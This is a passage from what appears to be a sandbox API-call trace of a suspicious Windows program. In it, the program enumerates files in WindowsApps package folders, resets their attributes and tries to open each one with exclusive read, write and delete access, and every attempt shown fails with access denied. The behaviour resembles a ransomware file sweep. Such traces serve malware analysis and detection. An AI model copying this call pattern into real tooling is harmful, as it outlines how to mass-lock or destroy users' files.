	[0091.681] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer365.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offver365.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.681] GetLastError () returned 0x5
	[0091.681] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer365.xml", dwFileAttributes=0x20) returned 0
	[0091.681] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778260) returned 1
	[0091.681] FindNextFileW (in: hFindFile=0x46a7590, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6644736d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6646d5cb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6646d5cb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8b59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys_OffVerOOBE.xml", cAlternateFileName="")) returned 1
	[0091.681] wcscmp (_String1="Keys_OffVerOOBE.xml", _String2=".") returned 1
	[0091.681] wcscmp (_String1="Keys_OffVerOOBE.xml", _String2="..") returned 1
	[0091.681] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4776b60
	[0091.681] wcscpy (in: _Dest=0x4776b60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys"
	[0091.681] wcscat (in: _Dest=0x4776b60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\"
	[0091.681] wcscat (in: _Dest=0x4776b60, _Source="Keys_OffVerOOBE.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVerOOBE.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVerOOBE.xml"
	[0091.682] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVerOOBE.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offveroobe.xml")) returned 0x20
	[0091.682] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVerOOBE.xml", dwFileAttributes=0x20) returned 0
	[0091.682] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVerOOBE.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offveroobe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.682] GetLastError () returned 0x5
	[0091.682] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVerOOBE.xml", dwFileAttributes=0x20) returned 0
	[0091.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776b60) returned 1
	[0091.682] FindNextFileW (in: hFindFile=0x46a7590, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6644736d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6646d5cb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6646d5cb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8b59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys_OffVerOOBE.xml", cAlternateFileName="")) returned 0
	[0091.682] FindClose (in: hFindFile=0x46a7590 | out: hFindFile=0x46a7590) returned 1
	[0091.683] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db8360) returned 1
	[0091.683] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e440c0) returned 1
	[0091.683] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12320) returned 1

Thread:
	id = 513
	os_tid = 0x172c

	[0077.421] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0081.799] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0081.799] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0084.514] GetLastError () returned 0x5
	[0084.514] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0084.514] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48aa0) returned 1

Thread:
	id = 514
	os_tid = 0x1730

	[0077.422] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0081.804] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.804] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.804] GetLastError () returned 0x5
	[0081.804] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c100) returned 1

Thread:
	id = 515
	os_tid = 0x1734

	[0077.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x2e441a0
	[0077.422] wcscpy (in: _Dest=0x2e441a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0077.422] wcscat (in: _Dest=0x2e441a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0077.422] wcscat (in: _Dest=0x2e441a0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0077.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db85c8
	[0077.422] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac2ea82c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabba0d3c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac2ea82c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87fb8
	[0081.803] wcscmp (_String1=".", _String2=".") returned 0
	[0081.803] FindNextFileW (in: hFindFile=0x2d87fb8, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac2ea82c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabba0d3c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac2ea82c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.803] wcscmp (_String1="..", _String2=".") returned 1
	[0081.803] wcscmp (_String1="..", _String2="..") returned 0
	[0081.803] FindNextFileW (in: hFindFile=0x2d87fb8, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2ea82c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac2ea82c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac2ea82c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0081.803] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0081.803] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0081.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4765810
	[0081.804] wcscpy (in: _Dest=0x4765810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0081.804] wcscat (in: _Dest=0x4765810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0081.804] wcscat (in: _Dest=0x4765810, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0091.866] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0091.866] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.866] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.867] GetLastError () returned 0x5
	[0091.867] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.867] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765810) returned 1
	[0091.867] FindNextFileW (in: hFindFile=0x2d87fb8, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2ea82c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac2ea82c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac2ea82c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0091.867] FindClose (in: hFindFile=0x2d87fb8 | out: hFindFile=0x2d87fb8) returned 1
	[0091.867] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db85c8) returned 1
	[0091.867] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e441a0) returned 1
	[0091.867] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e129e0) returned 1

Thread:
	id = 516
	os_tid = 0x1738

	[0077.423] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0081.800] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0081.800] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0084.515] GetLastError () returned 0x5
	[0084.515] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0084.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a510) returned 1

Thread:
	id = 517
	os_tid = 0x173c

	[0077.424] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47c95e0
	[0077.424] wcscpy (in: _Dest=0x47c95e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets"
	[0077.425] wcscat (in: _Dest=0x47c95e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0077.425] wcscat (in: _Dest=0x47c95e0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0077.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8d00
	[0077.425] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac526b7e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabba158a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac59928e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aa28
	[0084.518] wcscmp (_String1=".", _String2=".") returned 0
	[0084.518] FindNextFileW (in: hFindFile=0x477aa28, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac526b7e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabba158a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac59928e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.518] wcscmp (_String1="..", _String2=".") returned 1
	[0084.518] wcscmp (_String1="..", _String2="..") returned 0
	[0084.518] FindNextFileW (in: hFindFile=0x477aa28, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac526b7e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac526b7e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac526b7e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev-config.json", cAlternateFileName="")) returned 1
	[0084.518] wcscmp (_String1="dev-config.json", _String2=".") returned 1
	[0084.518] wcscmp (_String1="dev-config.json", _String2="..") returned 1
	[0084.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47ec158
	[0084.518] wcscpy (in: _Dest=0x47ec158, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets"
	[0084.518] wcscat (in: _Dest=0x47ec158, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0084.518] wcscat (in: _Dest=0x47ec158, _Source="dev-config.json" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets\\dev-config.json") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets\\dev-config.json"

Thread:
	id = 518
	os_tid = 0x1740

	[0077.425] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Beihai_Common_Diagnostics.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\beihai_common_diagnostics.winmd")) returned 0x20
	[0081.805] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Beihai_Common_Diagnostics.winmd", dwFileAttributes=0x20) returned 0
	[0081.805] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Beihai_Common_Diagnostics.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\beihai_common_diagnostics.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.805] GetLastError () returned 0x5
	[0081.805] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Beihai_Common_Diagnostics.winmd", dwFileAttributes=0x20) returned 0
	[0081.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a5f8) returned 1

Thread:
	id = 519
	os_tid = 0x1744

	[0077.426] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Lift.Engine.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\lift.engine.winmd")) returned 0x20
	[0082.887] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Lift.Engine.winmd", dwFileAttributes=0x20) returned 0
	[0084.517] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Lift.Engine.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\lift.engine.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0084.517] GetLastError () returned 0x5
	[0084.517] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Lift.Engine.winmd", dwFileAttributes=0x20) returned 0
	[0084.517] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4722c30) returned 1

Thread:
	id = 520
	os_tid = 0x1748

	[0077.427] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Lift.Transcoding.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\lift.transcoding.winmd")) returned 0x20
	[0081.802] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Lift.Transcoding.winmd", dwFileAttributes=0x20) returned 0
	[0081.802] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Lift.Transcoding.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\lift.transcoding.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.802] GetLastError () returned 0x5
	[0081.802] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Lift.Transcoding.winmd", dwFileAttributes=0x20) returned 0
	[0081.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347b0) returned 1

Thread:
	id = 521
	os_tid = 0x174c

	[0077.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x2e03b60
	[0077.427] wcscpy (in: _Dest=0x2e03b60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.427] wcscat (in: _Dest=0x2e03b60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
